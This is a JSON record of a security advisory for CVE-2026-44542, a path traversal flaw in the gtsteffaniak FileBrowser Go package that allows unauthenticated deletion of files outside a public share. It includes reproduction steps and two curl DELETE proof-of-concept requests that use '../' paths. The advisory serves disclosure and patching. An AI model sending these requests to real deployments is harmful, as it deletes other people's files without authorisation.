{"id":"GHSA-fwj3-42wh-8673","revision":"bb2d4f42211a49d790e7b76f61fe4a9a","records":[{"revision":"bb2d4f42211a49d790e7b76f61fe4a9a","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-fwj3-42wh-8673","aliases":["CVE-2026-44542","GO-2026-5383"],"title":"FileBrowser Public Share DELETE API Path Traversal Allows Unauthenticated Arbitrary File Deletion","description":"### **Summary**\n\nAttacker-controlled path input is joined with a trusted base path prior to sanitization, allowing traversal sequences (e.g., ../) to escape the intended shared directory. As a result, an unauthenticated attacker possessing a valid public share hash with delete permissions enabled can delete arbitrary files outside the shared directory within the share owner’s configured storage scope.\n\n### **Affected Components**\n\n**Two distinct vulnerable code paths:**\n\n1. Stable versions (e.g., gtstef/filebrowser:stable)\n`DELETE /public/api/resources?hash=<hash>&path=../victim`\nRoot cause: middleware.go:111\nIssue: path query parameter is joined before SanitizeUserPath()\n2. Development / HEAD (e.g., commit eabdfd9)\n`DELETE /public/api/resources/bulk?hash=<hash>`\nBody: [{\"path\":\"../victim\"}]\nRoot cause: resource.go:274\nIssue: item.Path is joined before SanitizeUserPath()\n\n### **Steps to reproduce (Stable Version)**\n\n**1. Create a directory structure:**\n\n```\n/folder/shared_subdir/   (shared)\n/folder/protected.txt    (outside shared directory)\n```\n\n**2. Create a public share:**\n```\nPath: /shared_subdir\nAllowDelete=true\n```\n\n**3. Send request:**\n\n```\ncurl -X DELETE \"http://localhost/public/api/resources?hash=<HASH>&path=../protected.txt\"\n\n#Observe:\n#protected.txt is deleted despite being outside the shared directory\n```\n\n### **Proof of Concept (HEAD / bulk endpoint)**\n\n```\ncurl -X DELETE \"http://localhost/public/api/resources/bulk?hash=<HASH>\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '[{\"path\":\"../protected.txt\"}]'\n```\n\n### **Alternative PoC Scripts:**\n[poc_v3.sh](https://github.com/user-attachments/files/26159404/poc_v3.sh) (**If the script fails due to environment differences, the manual PoC above reliably reproduces the issue.**)\n\n\n### **Impact**\nAn unauthenticated attacker with access to a public share link configured with delete permissions enabled can delete attacker-chosen files outside the shared directory, anywhere within the share owner’s storage scope. This results in unauthorized data loss and potential service disruption.","state":0,"publishedAt":"2026-05-07T03:28:06+00:00","modifiedAt":"2026-06-25T19:56:38.8966881+00:00","affected":[{"ecosystem":"Go","name":"github.com/gtsteffaniak/filebrowser","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.0.0-20260501183844-112740bdd41d"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/gtsteffaniak/filebrowser/security/advisories/GHSA-fwj3-42wh-8673","https://nvd.nist.gov/vuln/detail/CVE-2026-44542","https://github.com/gtsteffaniak/filebrowser/commit/112740bdd41de7d5eb01e13ba49d406bfc463f69","https://github.com/gtsteffaniak/filebrowser"],"sourceUrl":"https://github.com/advisories/GHSA-fwj3-42wh-8673","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-fwj3-42wh-8673","identifiers":["GHSA-fwj3-42wh-8673","CVE-2026-44542","GO-2026-5383"]},"retained":false,"historicalAffected":[]}],"coverage":[]}